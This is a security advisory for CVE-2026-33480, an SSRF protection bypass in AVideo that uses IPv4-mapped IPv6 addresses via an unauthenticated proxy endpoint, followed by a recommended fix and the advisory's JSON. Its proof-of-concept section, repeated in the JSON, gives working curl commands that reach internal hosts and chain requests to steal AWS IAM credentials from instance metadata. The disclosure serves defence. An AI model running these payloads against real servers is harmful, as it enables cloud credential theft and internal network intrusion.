GHSA-P3GR-G84W-G8HH
Vulnerability from github – Published: 2026-03-20 20:44 – Updated: 2026-03-25 18:49Summary
The isSSRFSafeURL() function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (::ffff:x.x.x.x). The unauthenticated plugin/LiveLinks/proxy.php endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.
Details
The isSSRFSafeURL() function in objects/functions.php (lines 4021-4169) implements SSRF protection with two separate check paths:
- IPv4 checks (lines 4101-4134): Regex patterns matching dotted-decimal notation (
/^10\./,/^172\./,/^192\.168\./,/^127\./,/^169\.254\./) - IPv6 checks (lines 4150-4166): Checks for
::1,fe80::/10(link-local), andfc00::/7(unique local)
The gap: IPv4-mapped IPv6 addresses (::ffff:0:0/96) are not checked in either path. When a URL like http://[::ffff:169.254.169.254]/ is provided:
// Line 4038: parse_url strips brackets from IPv6 host
$host = parse_url($url, PHP_URL_HOST);
// $host = "::ffff:169.254.169.254"
// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution
if (!filter_var($host, FILTER_VALIDATE_IP)) {
$resolvedIP = gethostbyname($host); // SKIPPED
}
$ip = $host; // $ip = "::ffff:169.254.169.254"
// Lines 4101-4134: IPv4 regex checks DON'T match (not dotted-decimal)
if (preg_match('/^169\.254\.\d{1,3}\.\d{1,3}$/', $ip)) // NO MATCH
// Lines 4150-4166: IPv6 checks don't cover ::ffff: prefix
if ($ip === '::1' || ...) // NO MATCH
if (preg_match('/^fe[89ab][0-9a-f]:/i', $ip)) // NO MATCH
if (preg_match('/^f[cd][0-9a-f]{2}:/i', $ip)) // NO MATCH
// Line 4168: returns TRUE — bypass complete
return true;
The vulnerable endpoint plugin/LiveLinks/proxy.php explicitly disables authentication:
// proxy.php lines 2-3
$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;
After the bypass, two requests are made to the attacker-controlled URL:
1. get_headers() at line 40 (via stream context)
2. fakeBrowser() at line 63 (via curl) — response content is echoed back to the attacker (lines 69-80)
PoC
Read AWS instance metadata (IAM credentials):
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'
Access localhost services:
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/'
Scan internal network:
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/'
Steal AWS IAM role credentials (full chain):
# Step 1: Get IAM role name
ROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/')
# Step 2: Get temporary credentials for the role
curl -s "https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}"
Impact
- Cloud credential theft: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure.
- Internal network access: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services.
- Localhost service access: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs).
- No authentication required: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.
Recommended Fix
Replace the manual IPv4/IPv6 blocklist approach with PHP's built-in FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:
// In isSSRFSafeURL(), replace lines 4099-4166 with:
// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6)
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
_error_log("isSSRFSafeURL: blocked private/reserved IP: {$ip}");
return false;
}
This single check replaces all the manual regex patterns and correctly handles:
- All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16)
- Loopback (127/8, ::1)
- Link-local (169.254/16, fe80::/10)
- Unique local (fc00::/7)
- IPv4-mapped IPv6 (::ffff:0:0/96) — the bypass vector in this finding
- Other reserved ranges (0/8, 100.64/10 CGN, etc.)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33480"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:44:10Z",
"nvd_published_at": "2026-03-23T15:16:34Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `isSSRFSafeURL()` function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (`::ffff:x.x.x.x`). The unauthenticated `plugin/LiveLinks/proxy.php` endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.\n\n## Details\n\nThe `isSSRFSafeURL()` function in `objects/functions.php` (lines 4021-4169) implements SSRF protection with two separate check paths:\n\n1. **IPv4 checks** (lines 4101-4134): Regex patterns matching dotted-decimal notation (`/^10\\./`, `/^172\\./`, `/^192\\.168\\./`, `/^127\\./`, `/^169\\.254\\./`)\n2. **IPv6 checks** (lines 4150-4166): Checks for `::1`, `fe80::/10` (link-local), and `fc00::/7` (unique local)\n\nThe gap: IPv4-mapped IPv6 addresses (`::ffff:0:0/96`) are not checked in either path. When a URL like `http://[::ffff:169.254.169.254]/` is provided:\n\n```\n// Line 4038: parse_url strips brackets from IPv6 host\n$host = parse_url($url, PHP_URL_HOST);\n// $host = \"::ffff:169.254.169.254\"\n\n// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution\nif (!filter_var($host, FILTER_VALIDATE_IP)) {\n $resolvedIP = gethostbyname($host); // SKIPPED\n}\n$ip = $host; // $ip = \"::ffff:169.254.169.254\"\n\n// Lines 4101-4134: IPv4 regex checks DON\u0027T match (not dotted-decimal)\nif (preg_match(\u0027/^169\\.254\\.\\d{1,3}\\.\\d{1,3}$/\u0027, $ip)) // NO MATCH\n\n// Lines 4150-4166: IPv6 checks don\u0027t cover ::ffff: prefix\nif ($ip === \u0027::1\u0027 || ...) // NO MATCH\nif (preg_match(\u0027/^fe[89ab][0-9a-f]:/i\u0027, $ip)) // NO MATCH\nif (preg_match(\u0027/^f[cd][0-9a-f]{2}:/i\u0027, $ip)) // NO MATCH\n\n// Line 4168: returns TRUE \u2014 bypass complete\nreturn true;\n```\n\nThe vulnerable endpoint `plugin/LiveLinks/proxy.php` explicitly disables authentication:\n\n```php\n// proxy.php lines 2-3\n$doNotConnectDatabaseIncludeConfig = 1;\n$doNotStartSessionbaseIncludeConfig = 1;\n```\n\nAfter the bypass, two requests are made to the attacker-controlled URL:\n1. `get_headers()` at line 40 (via stream context)\n2. `fakeBrowser()` at line 63 (via curl) \u2014 response content is echoed back to the attacker (lines 69-80)\n\n## PoC\n\n**Read AWS instance metadata (IAM credentials):**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/\u0027\n```\n\n**Access localhost services:**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/\u0027\n```\n\n**Scan internal network:**\n\n```bash\ncurl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/\u0027\n```\n\n**Steal AWS IAM role credentials (full chain):**\n\n```bash\n# Step 1: Get IAM role name\nROLE=$(curl -s \u0027https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/\u0027)\n\n# Step 2: Get temporary credentials for the role\ncurl -s \"https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}\"\n```\n\n## Impact\n\n- **Cloud credential theft**: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure.\n- **Internal network access**: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services.\n- **Localhost service access**: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs).\n- **No authentication required**: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.\n\n## Recommended Fix\n\nReplace the manual IPv4/IPv6 blocklist approach with PHP\u0027s built-in `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:\n\n```php\n// In isSSRFSafeURL(), replace lines 4099-4166 with:\n\n// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6)\nif (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n _error_log(\"isSSRFSafeURL: blocked private/reserved IP: {$ip}\");\n return false;\n}\n```\n\nThis single check replaces all the manual regex patterns and correctly handles:\n- All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16)\n- Loopback (127/8, ::1)\n- Link-local (169.254/16, fe80::/10)\n- Unique local (fc00::/7)\n- **IPv4-mapped IPv6 (`::ffff:0:0/96`)** \u2014 the bypass vector in this finding\n- Other reserved ranges (0/8, 100.64/10 CGN, etc.)",
"id": "GHSA-p3gr-g84w-g8hh",
"modified": "2026-03-25T18:49:36Z",
"published": "2026-03-20T20:44:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-p3gr-g84w-g8hh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33480"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/75ce8a579a58c9d4c7aafe453fbced002cb8f373"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.